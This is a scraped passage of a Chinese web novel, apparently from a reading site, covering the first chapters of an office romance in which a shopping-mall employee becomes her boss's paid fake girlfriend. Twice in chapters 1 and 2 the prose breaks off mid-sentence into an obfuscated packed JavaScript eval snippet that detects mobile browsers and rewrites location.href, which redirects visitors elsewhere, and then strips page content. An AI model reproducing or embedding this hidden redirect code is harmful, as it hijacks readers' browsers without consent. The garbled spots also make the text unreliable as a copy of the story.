《你很珍贵》 1. 便利贴与荒原狼01 “如果提前了解了你所要面对的人生,你是否还会有勇气前来?” “看到的和听到的,经常会令你们沮丧,世俗是这样强大,强大到生不出改变它们的念头。” “可是如果有机会提前了解你们的人生,知道青春也不过这些日子,不知你们是否还会在意那些世俗希望你们在意的事情。比如占有多少,才更荣耀,拥有什么,才能被爱。” “等你们长大,你们会因绿芽冒出土地而喜悦,会对初升的朝阳欢呼雀跃,也会给别人善意和温暖。但是却会在赞美别人生命的同时,常常、甚至忘了自己的珍贵。” “愿你在被打击时,记起你的珍贵,抵抗恶意;愿你在迷茫时,坚信你的珍贵,爱你所爱,行你所行,听从你心,无问西东。”——《无问西东》 你很珍贵,菜紫 2025.3.25 ——晋江文学城首发 刚进九月,潞城便一连下了几天的绵绵细雨。细雨过后,满目清秋,炙夏残留的气息被一扫而空。 许昭弥扣下闹表,推开窗户,神清气爽地呼吸了几口迎面扑来的清新空气。 随后以最快速度起床洗漱。 刷牙时,手机传来发小曲琳琳的来电提醒。 “许昭弥!今晚老地方,出来嗨呀!” 许昭弥嘴里都是泡沫,含含糊糊地拒绝:“去不了……得加班。" “连续三天都加班?你们老板还有没有人性?” “没办法,要准备店庆。” 许昭弥在潞城逼格最高规模最大的购物中心里上班,还是最苦逼的营运部,平时琐事就多,遇到店庆这种大日子就更是脱不开身,她已经连着大半个月没歇过了。 “行吧,真是个小可怜。”电话那头传来一声哀叹,“可惜‘莲花’太高端了,把我卖了也买不起里面一个包,真想支持支持你工作,无奈实力不允许啊,阿西巴,等我成了富婆再支持你吧!” “莲花”就是连华国际购物中心的花名,潞城人都这么叫。 “好,等你成富婆。” 挂了电话,许昭弥简单画了个淡妆,扎了个低马尾,干净利索。 随后拿了件薄开衫出了门。 一大早,办公室的电话就响个不停。 “是营运部吗!我们家收银机坏了,你们快派个人来看看!” “好的您稍等。”许昭弥挂了电话,没过两秒,手机又响了,还是商户打来的。 “许经理啊?我们餐厅厕所马桶堵了,你赶紧联系物业来修修,快点啊,一会儿就要开门了!” “好嘞我马上安排。”早饭都没来得及吃,许昭弥就立刻给物业去了电话,她自己也得去现场监督。 “催催催,就知道催,交租金时候没见他们这么积极。”见许昭弥一大早就被呼来喝去,贝诗楠忍不住抱怨。 “我这也是为了让他们下次交租金的时候痛快点呀,ok走了,早点你帮我解决。”许昭弥把面包咖啡往贝诗楠工位上一推,又快速从电脑里把昨日销售日报表打印出来,准备顺道给租户开个晨会。 一上午就这么忙忙碌碌过去了。 中午休息时,许昭弥和贝诗楠在卫生间补妆闲聊。 “对了弥宝,你听说了没?陆总被约谈了,总部内审和监察组同时来人,估计马上就到。” “为什么啊?” “还能为什么?私生活不检点呗,最近网上闹的沸沸扬扬,你没看?”说着贝诗楠就把手机拿了起来,迅速划开微博上最火的那条视频给她看。 很快屏幕上便传来娱乐新闻播报音——“新晋人气小花安旎近日接受记者采访,坦言拒绝连华高层追求,直言对方存在生理缺陷……” 视频暂停的同时,贝诗楠笑倒在洗手台,“你说招商部那些颜狗会不会崩溃啊?翘臀男神变太监,这落差谁能受得住啊!” 话音刚落,对面男厕所里就走出个人来,到公共洗手池前拧水龙头。 阴气森森,让俩人不禁都打了个寒颤。贝诗楠一扭头,吓得顿时像只软脚虾,艰难扯出一抹假笑来:“陆、陆总好。” 陆以宁嗯了声,淡淡瞥镜子一眼,许昭弥的脸此刻红得像颗番茄。 实在懒得跟女人计较。 “你们营运部最近好像很闲。” “我们这就去巡场!”贝诗楠一把抓住许昭弥手腕。俩人迅速把台子上散落的化妆品扫进怀里,脚底抹油似地溜出了卫生间。 “妈呀吓死人了。”贝诗楠回到工位后长舒口气。陆以宁训人最有一套,有次会上就当着所有人面把总监训得狗血淋头,得亏刚刚溜得快,不然她指定死很惨,搞不好职业生涯就此交代了。 扭头看到许昭弥一脸淡定,转椅一滑来到她身边,“我说你怎么不怕啊?” “坏话是你说的,我只负责听哦。” “啧啧,学奸了你!” 没一会儿过道里就传来一阵脚步声,贝诗楠刚一抬头,就看到行政部总监吴潇领着五六位西装笔挺的领导们走进了陆以宁的办公室。 她忙碰了碰许昭弥胳膊,“快看快看,来了!” 贝诗楠是个大嗓门,话音刚落,部门里的大眼小眼就都瞄了过去。 陆以宁的办公室正好和营运部隔一条走廊,正对着走廊的那面墙上有二分之一是玻璃,随时随地能发现外面员工的新鲜事儿。 因此营运部有个特殊外号叫“牢房”。 很快陆以宁就板着脸回到办公室。总部来的那些老家伙们屁股还没坐热,就纷纷起身和他握手,他呢?反而爱搭不理的,一脸不耐烦的样子。 简直倒反天罡。 不过这也并不奇怪,陆以宁在调任潞城担任项目总之前,本就是香港总部前高管。看似级别下调,可明眼人都知道,人家不过是下来积攒一线工作经验的,为的是将来回去后能够更好地晋升。 所以尽管是总部下来的监察组,也都对他多有忌惮。 许昭弥没再看了,回过头继续自己的工作,将上午收集到的各商户销售额挨家挨户手工录入到系统中。 这是个细致活儿,一丝马虎都不能有的。 此刻总经理办公室内的氛围可不太妙。 监察组的几位领导互相让了烟,其中一位起身递给陆以宁,“例行流程,陆总多担待,咱们很快就结束。” 陆以宁伸手接过对方递来的细支香烟,却没有点燃,只夹在指尖玩着。他也没有多余寒暄,直接开门见山:“说重点。” 内审部的成员们心里都有点打鼓,不想把场面搞得太糟,还在试图缓解气氛,“总部只是想了解一下情况,陆总不用这么严肃,咱们随便聊聊就好。” 毕竟近来总有传言,说安旎大大小小的影视资源都是通过他的关系拿到的,已经严重影响到集团的股价。 “随便聊聊?聊什么?聊我性功能到底行不行?”陆以宁这人本来就讨厌随便,说一句话就要有一句话的目的,否则别说,他哪有那多闲工夫陪别人闲聊? 钢笔尖划破纸面的声响中,有人破功笑出了声,新人记录员慌忙低下了头。她早听说这位陆总是位不按常理出牌的人物,今天算是见识到了。 几位老板上来就被呛,脸色讪讪,互相交换了下眼神,都挺没辙。但谁让人家是下凡历劫的太子爷呢?身份还得替人保密,被噎就得受着。 终于硬着头皮走完了流程,众人心里皆松了口气。不光他们累,陆以宁也觉得烦,这会儿耐心耗尽,不等人家起身,就直接走到门边拉开办公室门,准备送客。 几位领导在心里摇了摇头,全都感叹了那么一句:要命的祖宗!表面上呢?还都是笑呵呵的,一一起身和他握手告别。 最后一位组长走出时,借着整理领带的动作,凑到他耳边低声说:“陆总,您爷爷……董事长托我给您捎句话,处理好这边的事,早点回总部,大家都等着您呢。” 陆以宁却当没听见,朝他微微一笑:“赵组长慢走。” “哎!” 吴潇早已在门口恭候多时,领着众人前往下榻的酒店。陆以宁手指轻轻一勾领带,转身关门时,余光瞥见许昭弥正在工位前伸展身体。 她双手高举过顶,不经意间将原本掖进包臀裙里的雪白衬衫拉出了一截,露出那么一点纤细的腰身。 很朦胧,却又带着一丝性感。 陆以宁的目光微微一紧,视线不由自主地上移。许昭弥恰好抬起头,转动着酸痛的脖颈,隔着透明的玻璃墙,两人的视线正好对上。 几乎瞬间关于他的那些流言浮现在脑海。许昭弥脸颊一烫,慌忙低下头,假装没看到他。 陆以宁望着玻璃墙外手忙脚乱的背影,喉结滚动着咽下句脏话。 靠。 他拿起手机,噼里啪啦按下几个字。许昭弥刚刚的表情明显到就差拿笔把“听说我老板那儿不行”这几个大字写在脸上了。这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15228084|165891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个白痴。 许昭弥打了个喷嚏,抽出纸巾揉了揉鼻子,继续埋头在工位前做报表。 营运部的日常工作很琐碎,类似商场大管家,既要统筹日常事务管理,更要完成庞杂的报表分析工作。 营运总监叫姚雷,部门同事都在背后亲切叫他大姚,大姚作为Leader来说人还是不错的,就是有时候总是逮着软柿子薅。许昭弥作为部门里最好说话的软柿子员工,报表分析的工作经常就落在她头上。 每月月初要开月度经营分析会,大姚让许昭弥在五号前务必把报告做出来。许昭弥一整天的工作都很满,上午要巡场、要挨家挨户抄录昨日的销售额,下午还要处理各种突发情况,往往只有在下班后才能踏实下来写报表。 报告里要涵盖的数据又非常繁杂,堪称系统工程:需整合商场当日运营数据,完成跨时段、跨维度的多重比对,涵盖营业额、客流量、坪效等十余项指标,总之是个很辛苦的工作。 许昭弥正在认真准备报告,手边的手机突然亮了一下,有消息进来,咖啡杯也在手头,她顺手拿起喝了一口,眼一瞥,看到屏幕上的信息,刚刚入喉的那口拿铁差点喷出来。 是陆以宁发来的,简单粗暴四个字:「下班别走」 贝诗楠的声音从背后传来,吓得许昭弥立刻把手机扣倒在桌子上,像是怕被人发现什么秘密似地,心口还砰砰直跳。 “弥宝!”贝诗楠来到她身边,小苦瓜一样的脸,说:“刚才陆总把大姚叫到办公室,狠狠训了一顿,说是这个月的收缴率还提不上去,就让咱们全部门卷铺盖走人。你说,该不会是因为我中午说的话被他听到了吧?” “那就抓紧时间催租,今晚就打电话,咱们一起加班。” 贝诗楠面露难色,和她亲亲抱抱贴贴,“可是人家晚上有约了,不然你帮我打打电话?不多——就一个。”说着伸手比划了个“一”,露出一口小白牙。 她们营运部的工作是分区域管理的,每位专员分管特定楼层的商户运维工作。许昭弥负责B1层快餐业态集群的日常运营,贝诗楠则分管L5层高端餐饮业态。 L5除了餐饮外还另外包括两家主力商户,一家教育培训机构和一家儿童主题乐园。 这家教育培育中心已经连续拖欠三个月租金了,负责人还总是以各种理由躲着不见。其实每个人手里都有那么几家不配合的租户,也都算正常,但贝诗楠遇到的这家却尤其令人头疼。 “可以,我帮你催,放心吧,一定把它拿下。” “太爱你了!” 五点过后,部门同事陆续离岗,晚班同事也相继到岗,许昭弥仍坚守在工位前做报表。 隔着一条过道,陆以宁办公室的灯也没有灭。 他加班是常态,常常等到商场清场广播响过三遍,保安巡完最后一轮,才掐着最后一盏灯熄灭的时间离开,比推广部那种高频加班部门走的还要晚。有时候许昭弥手头没什么急事,是不用加班的,可他一条信息过来,她就得在工位上老实等他,于是只能又干点什么。 许昭弥合理怀疑他就是故意让她加班干活的。 不过她今天是真的有活要干。 「还要多久?」快八点的时候,许昭弥收到了陆以宁发来的信息,偷偷往他办公室瞟了一眼。 明明周围同事都不在,她也还是不敢光明正大地看他,总是做贼一样。一眼过去,发现他已经从办公桌前站了起来,准备关灯走人了。 于是马上回了条信息:「马上!」 「车上等你。」陆以宁信息回得也快,许昭弥眼看他把手机塞进口袋,目不斜视从她身边走了过去,看都没看她一眼。 保存好资料,许昭弥关上电脑,也悄悄离开了办公室。 陆以宁的车依旧停在他的固定车位上,是辆白色的玛莎拉蒂。 不过莲花停车场里的豪车还是蛮多的,他那辆玛莎也就没那么显眼。还是和往常一样,许昭弥四处看了看,确定没有熟人后,一溜小跑来到车门前,拍了拍车窗。 陆以宁正在驾驶座玩手机,闻声扭头,隔着车窗瞥她一眼,不紧不慢地按下了开门键。 他胳膊随意搭在方向盘上,看许昭弥迅速弯腰钻进了车里,紧接着又低头马不停蹄地系着安全带,生怕再晩一秒就会被人看到似的。耳朵呢,又有那么一点变红的趋势,不知怎么就恶作剧心起,突然倾身上前,开口道:“网上都说我那儿不行,你觉得呢?” 2. 便利贴与荒原狼02 果然,许昭弥被吓到了。 那样近的距离,甚至连他嘴角那一丁点微微上挑的,带着几分风流狎昵的痞笑都看得一清二楚。 刚刚是她的幻听吗?她的老板竟然问她,他那儿到底行不行? 行不行的?她哪里知道啊! 许昭弥憋了半天,才勉强挤出一句:“这个……我没试过,不知道啊……” “你还想试?”陆以宁哪里想到会是这样的答案?突然就气笑了。 “没有没有,绝对不敢。” 许昭弥小手乱晃,是真的不敢。她哪敢有那份肖想?甚至身子还偷偷往后挪了挪,后背都快贴到车门上了,就在陆以宁眼皮子底下鼓捣,划清界限的态度很明显。 就是愈发娇艳的耳垂出卖了她。陆以宁眯了眯眼,眼见许昭弥脸上的火烧云迅速蔓延到了脖子,莫名心情愉悦,转过身不再与她计较。 车子发动,离开车库。 当车子驶出地下车库的那一刻,夜晚璀璨的灯光一瞬间映入眼帘,车灯与路灯交相辉映,四周车水马龙。许昭弥在心里默默吐了口气,有一种从云端终于回到人间的感觉。 她扭过头去看窗外,心口却依旧扑通扑通跳个不停。 路上两个人都没再讲话。陆以宁开车不喜交谈,糟糕的路况已经让他很烦躁了,许昭弥更是没胆子去招他,两个人就这么默默坐了一路。 期间许昭弥还接听了一位商户的来电,客客气气交代了两句装修进场的注意事项。 挂了电话,陆以宁的手机也响了。 他的手机连着车载蓝牙,也没避讳许昭弥,直接就接了。 “到哪了?”“快了。” “弥弥来了吗?”“来了。” 果不其然是陆曼青打来的。她今天难得有兴致,亲自下厨做了点小甜品,特地喊许昭弥下班来吃的。 这会儿有点等不及了。 电话刚挂,陆以宁就瞥她一眼,“你到底给我妈灌了什么迷魂汤?”对自己这个亲儿子都没这么好。 “我没有哦!”许昭弥赶紧解释,解释完又立刻把头扭了回去,抱着包包乖乖望着车窗,多说一句都没胆儿。 本来她也不是什么胆子大的人,大学毕业才一年,一直都是个兢兢业业的小职员罢了。 要说这辈子做过最大胆的一件事,那就是成为老板的合约女友了。 没错,合约女友也就是假女友,帮着老板应付家里的工具人而已。 工资倒是蛮高的,时薪两千,比她之前在外面做过的所有兼职都要高。 至于为什么她这么个平平无奇的小虾米能成为老板的合约女友?这事儿说来就话长了。 许昭弥视线投向窗外,夜幕下的城市灯火如繁星,马路上依旧车水马龙,她很喜欢潞城这座城市,它充满活力,夜晚亦是如此。好像每个奋力拼搏的人身上都在发光,这让她觉得自己不再黯淡,而是那漫天繁星中熠熠生辉的一颗。 思绪就那么飘远了,不知不觉飘回她刚来莲花工作的那段日子。 那时也和现在一样,每天商场开门前都要先进行一次全面的巡场。要检查电子屏和广播是否已经启动,以及各个店铺是否已做好了营业准备,等到一切都检查妥当后,会在十点整准时前往商场的大门口迎宾。 陆曼青就是在那个时候出现的。那天,她手里提着一只菜篮子。许是地板太滑,没走两步就摔了一跤。幸好许昭弥就在附近,立刻跑过去将她扶了起来。不仅如此,许昭弥还亲自陪着她去了楼下超市,一路上对她悉心照料。 那时她身上还穿着保姆服呢,谁也不知道她的真实身份,都以为她是谁家的家政阿姨出来买菜的,就连许昭弥也这么认为。 得知她腿脚不好后,许昭弥又自掏腰包带她去按摩椅那里做了一个小时的按摩。后来还亲自送她出门坐上了出租车。 许昭弥就是这样一个热心肠的姑娘,陆曼青第一次见到她时就非常喜欢她。后来陆曼青经常来找许昭弥,而许昭弥也从不嫌烦,每次都是非常热情地接待她。 是在有天下班的时候,陆曼青来超市买菜,许昭弥恰好没什么要紧事,便陪着她在超市逛了逛。那天她们聊了很多,聊到陆曼青是个单亲妈妈,孩子常年不在身边,现在独自一人住在潞城。许昭弥也是外地人,大学毕业后留在潞城工作,现在也是一个人租房住,俩人莫名就有了点惺惺相惜的感觉。 陆曼青和许昭弥的父母年纪相仿,如今还在别人家里做保姆。相比之下,许昭弥的家庭虽只是小康水平,但父母领着退休金,早就过上了饭后跳广场舞的幸福生活。除了自己不能时常陪伴在父母身边尽孝外,其他方面都很令人欣慰。许昭弥心中不知不觉又对陆曼青生出几分同情来。 那天陆曼青买了很多东西,许昭弥便主动提出送她回家,顺便路上可以多陪她聊聊天。是在一处富人区的别墅大门前,她们遇到了陆以宁的车。车窗落下时,陆曼青突然朝着车里的人喊了一声“少爷”。那时许昭弥才知道,原来阿姨是陆总家的保姆。 那时陆以宁刚从总部调来,俗话说新官上任三板斧,他一上任就宣布要上调租金、物业和仓储费,还大搞各种kpi考核制度,不管商户还是员工都很怕他,怕到什么程度呢?这么说吧,就是迎面遇到他时都不敢直视,全都低头打招呼的那种。 许昭弥记得特清楚,第一次月例会的时候,由于一起没能及时处理的客诉被发布到网上,她们营运部全体就被陆以宁骂得狗血淋头。 等那辆车子走后,陆曼青就问她,“姑娘,你们老板凶不凶啊?” 许昭弥想说很凶来着,可话到嘴边,又乖乖比划了个封口的手势,笑得很甜,“不能讲老板坏话喔!” 老太太被逗乐了,回到家,把菜篮子递给阿姨,换衣服哼小曲儿,心情特愉快。陆以宁却黑着脸和她吵了一架。 “妈,你能不能让我省心点?还敢偷穿阿姨衣服出去玩,出了事儿谁负责?”她是不知道,刚刚在小区门口看到她时,他有多火大。 陆曼青身体不好,不久后要做个大手术,但目前指标不稳定,必须先调理好身子才能开刀,陆以宁就是专门为她手术的事从总部申请调回潞城的。 陆曼青和许昭弥说得不是假的,她确实早就离婚了,孩子也没有和她一起生活。虽说陆以宁和她一个姓,但却从小长在港城,是爷爷那边带大的。 “我无聊啊,你整天把我圈在家里,这不让我去那不让我去,闷都闷死了。再说医生都让我适当出去走走,对身体是有好处的。”陆曼青一通胡搅蛮缠,“还不是你?到现在连个女朋友都没有,但凡能有个孙子孙女陪我解闷儿,我也不至于这么无聊啊。” 陆曼青气他最有一套。别看陆以宁在外面盛气凌人说一不二的,在他妈面前也得哑火,这就叫一物降一物。 说不过就不说,陆以宁刚进门没呆多久,就拿上外套准备走。 陆曼青说:“正好弥弥还没走远,一会儿你见到她的话,帮我送送人家。” “谁?” “就是刚刚在小区门口碰到的那个女孩,你们商场的员工!”陆曼青特别叮嘱他,“我很喜欢这姑娘的,以后还想和她多玩玩呢,你可别把我的小秘密给说出去!” 陆以宁从家里开车出来后,果然在小区附近的路上看到了许昭弥。这姑娘还真是个傻的,大晚上不打车回家,反而把头发扎起来开始夜跑。这片别墅区周围没有公共车站,来往都是私家车,所以她是打算跑回去? 陆以宁当然不打算管她,直接一脚油门从她身边冲了过去。 又是在一个乌云密布的傍晚,许昭弥下班后从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15228085|165891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 商场出来,正在车站焦急地等公交,这时陆以宁的白色玛莎停在了她身边。 “上车,送你回家。”车窗落下,他探出肩膀,开口对她说了这么句话。 尽管他并没有什么表情,语气还很冷漠,让许昭弥甚至生出一种被领导命令的感觉。车门打开,她忐忑地钻了进去,就那么上了他的贼船。 “谢谢您陆总。”她小声报了她家的住址,陆以宁淡淡嗯了声,随后发动车子,也没再和她多说一句。 尽管如此,许昭弥还是如坐针毡。她后知后觉自己竟然胆大包天地上了一辆不该上的车子,心中既懊悔又尴尬。她紧抓着安全带的扣环,身体绷得紧紧的,目光在窗外和胸前之间来回游移。她不知道的是,自己紧张的时候就真的挺明显的,一举一动都落在了陆以宁的眼睛里。 有那么一瞬间,连陆以宁自己都在怀疑,他是不是真就那么可怕?明明是出于好心载她一程,可她的反应就好像是要被他被送上刑场赴死一样悲壮。 既然这么怕他,刚刚上车时又何必逞强,还装得那么痛快? 其实许昭弥倒也不是怕,她只是紧张,非常紧张。毕竟这是她第一次在工作之外的场合与老板单独相处,而且还是在这么一个私密的空间里……私密到什么程度呢?在这个距离下,许昭弥甚至能闻到他肩上淡淡的木质香调的古龙水气息。 她不知道陆以宁此时此刻正在心里蛐蛐她,同样,陆以宁也没意识到胆小如鼠的许昭弥其实也了解他不少情况——这一切多亏了他那位大嘴巴的母亲。 自从陆曼青加上许昭弥的微信后,几乎每天都要跟她聊上几句,并且总是乐此不彼地拿“我家少爷”当话题。陆以宁浑然不知,自己在外辛苦建立起来的那么一点威信,早就在他老母亲的爆料中消耗殆尽了。 “弥弥,你看,我家少爷穿的睡衣竟然是粉红色的!我拍给你看。” “哈?陆总的睡衣是粉红色的?” 陆曼青哈哈大笑起来,“是啊,想不到吧!他私底下超爱粉红色!还收藏了一整柜的粉色领带呢!我这就去拍给你看!” 许昭弥感到十分震惊。 “少爷上大学的时候,社会上有阵子很流行染头发嘛,他就染了个粉红色,我还有照片呢!改天我翻出来给你瞧瞧,哈哈哈,那时候他看起来就像一只大火烈鸟。”亲妈吐槽起儿子来可真是一点都不带嘴下留情的。 总之那阵子陆以宁总是无缘无故地打喷嚏。而每当许昭弥在上班时看到他,脑海中就会不由自主地浮现出一副“红毛浮绿水”的形象。 陆以宁当然不知道他亲妈在背后这么埋汰他,但他知道每晚陆曼青都要和许昭弥聊上一些无关痛痒的八卦,甚至还会互相分享一些自以为很好笑的抖音小视频。每当陆曼青看到许昭弥发来的有趣的段子时,都要拉着他一起“欣赏”。 那种感觉就像是有人硬往你的大脑灌输精神垃圾,陆以宁每次看都觉得难以忍受,但陆曼青却似乎乐在其中,每天熬夜刷着抖音,直到深夜才入睡。 陆以宁决定不能再任由她继续这样放纵下去,这也是为什么今天他会主动提出要载许昭弥的原因,不然他会有那么好心? 到了她家小区门口,许昭弥迅速解开安全带,说了今天对他的第二句话,“谢谢您,陆总。” 和第一句一模一样。 “稍等。”在许昭弥准备下车时,陆以宁叫住了她,说出了今天搭她的真正目的,“以后少给我……家阿姨发些没营养的视频,尤其晚上,老年人需要休息。”说的还算比较客气。 许昭弥扭着头,维持着那个懵逼的姿势大概有那么几秒钟,才终于反应过来,慢吞吞地说了声“哦……”,脸红了,好像为自己之前的行为感到非常不好意思,于是下车就跑了。 连车门都忘记替他关。 3. 便利贴与荒原狼03 又是一个百无聊赖的午后,陆曼青很久没收到许昭弥的消息了。她感觉自己像是失恋了一样,甚至比失恋的感觉还糟糕,于是,她决定再次偷偷溜出去找许昭弥。 那天下班后许昭弥没有立刻回家,而是去了六层的电影院看电影。这是她每个周五晚上的固定娱乐。与其他热衷于夜店狂欢的同事不同,她唯一的爱好就是下班后买份爆米花,独自享受那份宁静与放松——这是一种花费不多却能给她带来极大满足感的方式。 那会儿正好有个大片上映,据说特效很刺激,许昭弥本来约了曲琳琳一起看,但曲琳琳临时放了她鸽子,就在她准备取票入场的时候,接到了陆曼青打来的电话。陆曼青来到六层找她,许昭弥还是像之前那样热情接待她。 “这段时间不找我聊天了?”陆曼青拉着她手念叨着,是真的很喜欢她。 许昭弥挺不好意思的,当然也不敢把实情告诉她,就说自己最近挺忙的…… “正好我手头多了张电影票,我请您看电影吧!” “好呀!” “那冒险片您能看吗?” “爱看爱看!”陆曼青开心地说。可她爱看什么呀?不过是为了和许昭弥多待一会儿,当然她也有自己的小算盘,其实她是觉得许昭弥是个不错的姑娘,想要把她和自己那个臭脾气的儿子配个对儿。 于是两个人就去看了一场冒险片。当戴上3D眼镜的那一刻,许昭弥还没有意识到接下来会发生什么。在电影播放到一半的时候,陆曼青突然感到心脏不适,脸色发白,几乎无法坐直身子。许昭弥吓坏了,大脑本能地依照平时工作的应急情况处理方案,准备联系当天的值班同事,让同事尽快带医疗急救箱过来,同时又迅速给120打电话。 可陆曼青却制止了她。她随身带着药,服下后缓了缓,感觉还好,就没让她给急救中心打电话,也没让她去喊任何人帮忙,而是把手机给了她,让她把自己的儿子喊过来。 许昭弥打开通讯录,随即拨给了她儿子。不出五分钟,陆以宁便匆匆赶来。那是许昭弥这么久以来,第一次在他脸上看到类似慌张与惊恐的表情,以至于连她自己的震惊都被抛诸脑后。 把陆曼青送到医院,陆以宁陪着她在诊室里做检查,许昭弥则一个人呆坐在走廊的长椅上,思绪渐渐回笼,心情也逐渐平复下来。 陆以宁为陆曼青办好了住院手续,疲惫不堪地回到走廊时,才发现许昭弥仍然坐在那里静静等待。那一刻,他竟然有些意外。许昭弥平时工作时总是唯唯诺诺,但此时,她却鼓起勇气觉得应该向他道个歉。 “我不知道阿姨有心脏病,我也不该带她去看冒险片的。”陆曼青之前从未提过她的健康状况,但不管怎样,带老人去看这种刺激的电影确实不够考虑周全,所以她认为自己应该为此道歉。 “不怪你。”陆以宁回了这么一句。提心吊胆了一整晚,好在检查结果并无大碍,他现在连说话的力气都没有了。他说不怪她,并不是客套,他从不与任何人虚伪客套,而是他真的不怪。这傻姑娘又不知道他妈有病,凭什么要怪人家呢?况且他们还用假身份欺骗了人家,人家都没计较这些,他又有什么资格去责怪别人? 其实别看他平时凶巴巴的,却也是个讲道理的人。许昭弥点点头,再次说了声抱歉,“那就辛苦您照顾阿姨了。” 还是像之前那样灰溜溜地跑了。 也许是因为知道了她的真实身份而刻意避开,总之自打那以后陆曼青是真的再也没有见过许昭弥。唉,多好的一姑娘啊,陆曼青见过的女孩也不再少数,但难得遇见这么令她顺心的了。 在医院住着,住久了就容易发脾气,看什么都不顺眼。每次陆以宁来看她,都见她一个人躺在床上唉声叹气,何晓娥讲互联网上的有趣段子给她听,她蒙着被子理都不理。也是个小孩子脾气。 “要不出院吧?回家养着,给您配个私人医生,再配辆专车和司机,想去哪里提前和我说一声,我有空就陪您去,嗯?”陆以宁难得耐心哄她,她呢?破罐子破摔,压根不领情,“不回,不去,哪也不去了!手术也不做了!反正手术成功的概率也不高,活着也是无聊,干脆不活了!” 陆以宁什么都能容忍,忍她胡闹,忍她小孩子脾气,就是不能容忍她这么说自己,不能容忍这些不吉利的话。他生气要走,陆曼青又掀开被子拉住他手,故意给自己个台阶下,“那你去给我找个儿媳妇回来!有儿媳妇陪我我就不无聊了,我就好好养病。” 陆以宁从小到大几乎没有为任何事情真正发过愁,这次是他第一次感到如此纠结。经过整整一夜的思考,他终于做出了一个决定。那是一个再普通不过的夜晚,许昭弥结束了加班,收拾好她的包包,走出了商场的大门。这天她工作到很晚,以至于商场的大门都已经准备关闭,平时在外围商业街上还能买到些吃的,但此时却连外面的小吃店也都打烊了。许昭弥空着肚子,独自一人走向不远处的地铁站。 陆以宁的车子再一次停在了她身侧,这次他并没有像上次那样上来就用冷硬的语气命令她上车,他们在昏黄的路灯下对视几秒,然后他下车,对她礼貌提出了一个请求。 许昭弥就这样成为陆以宁的合约女友。 一开始的时候,她也觉得这件事情很不可思议,甚至还有那么一点荒唐,不过她是这样安慰自己的:她之所以答应都是为了阿姨的身体健康着想,她当然不是为了钱!尽管陆以宁给出的报酬真的非常丰厚。 她为自己的决定找了一千种理由,但偏偏忽略了最有可能的那一种——她其实早就喜欢上他了,在学涯时期的暗恋时光里,她从很早很早,早在他还是个粉毛的时候就喜欢上他了。不过那都是后话。 总之那时的她坚称自己只是出于好意,并试图掩盖那些小小的私心。当然这件事需要全程保密,所以在后来的很多年,她和陆以宁的关系从假到真,再到分分合合,她都把这项保密工作做的非常出色,连和她关系最亲的发小曲琳琳都不知道。 就像是一场梦一样,很多年以后陆以宁也这么认为。那时那个总是对他有求必应的女孩已经不在他身边了,他一个人频繁地在新加坡美国和香港之间奔波,每当航班从赤鱲角机场升空,掠过维港璀璨的夜景时,他总会想起他们最开始的那段时光。 他们在那里定情,又在那里诀别。她走的那样坚决,以至于他不止一次地怀疑,曾经发生的一切真的存在过吗?她真的有爱过她吗?像她说的那样,从她十八岁那年第一眼见到他的时候就喜欢上他了? 这是他很多很多年之后,永远也化不开的心结。 - 车子驶入庭院,停稳后,何晓娥跑来迎接。 “终于回来了,陆老师在家都等得着急了,快进屋吧。” 许昭弥跟在陆以宁身后进了他家门厅。刚踏入屋内,陆曼青便热情迎了上来,拉着许昭弥的手往餐厅走,口中还不停念叨着,“我前几天看了一部马来西亚电视剧,里面有一些糕点特别吸引人,我就试着做了几种,你快来尝尝味道怎么样。” 许昭弥笑着点头说好,“那我先去洗洗手,马上就去品尝。” 陆曼青立刻叫何晓娥把厨房那些准备好的小甜点都端来,不一会儿餐桌上就摆满了琳琅满目的小吃。 陆曼青为了在许昭弥心里留下一个好婆婆的形象,可是下足了功夫,这满满当当的一桌子全是她亲手做的小吃。 蓝花糯米糕、椰浆饭糕、红龟粿、还有用班兰叶包裹的椰香糯米饭,看起来就软糯香甜,很有食欲。 陆以宁也凑过去瞧,手还放在领带上,一脸不可思议。 他当然不可思议了,他老娘什么时候这么贤惠过?他连陆曼青亲手煮的白米粥都没喝上过几次。嫉妒之心熊熊燃烧,刚要准备走过去,就被陆曼青拦在餐厅外,“没有你的份儿!” “我又怎么惹你了?” 陆曼青看了眼卫生间的方向,弥弥还在里面没出来。她一把抓住陆以宁的手腕,拽着他来到沙发前,气势汹汹审问他。 “我问你,那个安旎是怎么回事?她为什么要在媒体面前那样讲你?”陆曼青双手抱在胸前,作出一副审问犯人的架势。 陆以宁可真是要被逼疯了,怎么哪儿哪儿都躲不开这个话题?他实在懒得回复,身子一垮,靠在沙发上,单手松着领带,不太正经地哼唧几声。 “不知道,不清楚。嘴长在她身上,她想说什么说什么,我能管得了么?”一副吊儿郎当的模样,一点都不当回事儿。 陆曼青拧他耳朵,“我告诉你,你现在跟弥弥在一起,就给我老实点,别再跟那些乱七八糟的女人有牵扯,你要是对不起弥弥,妈妈就把你耳朵拧下来!知不知道!” “哎呦,您这小老太太怎么还动手呢!”拧得是真疼啊,陆以宁歪在沙发上直皱眉。 许昭弥从卫生间出来,正好听到他们母子俩的这么一段对话。她听到陆曼青叹了口气说:“就算没有弥弥,我也是不喜欢安旎的,原因你是知道的……” 哦吼?安旎? 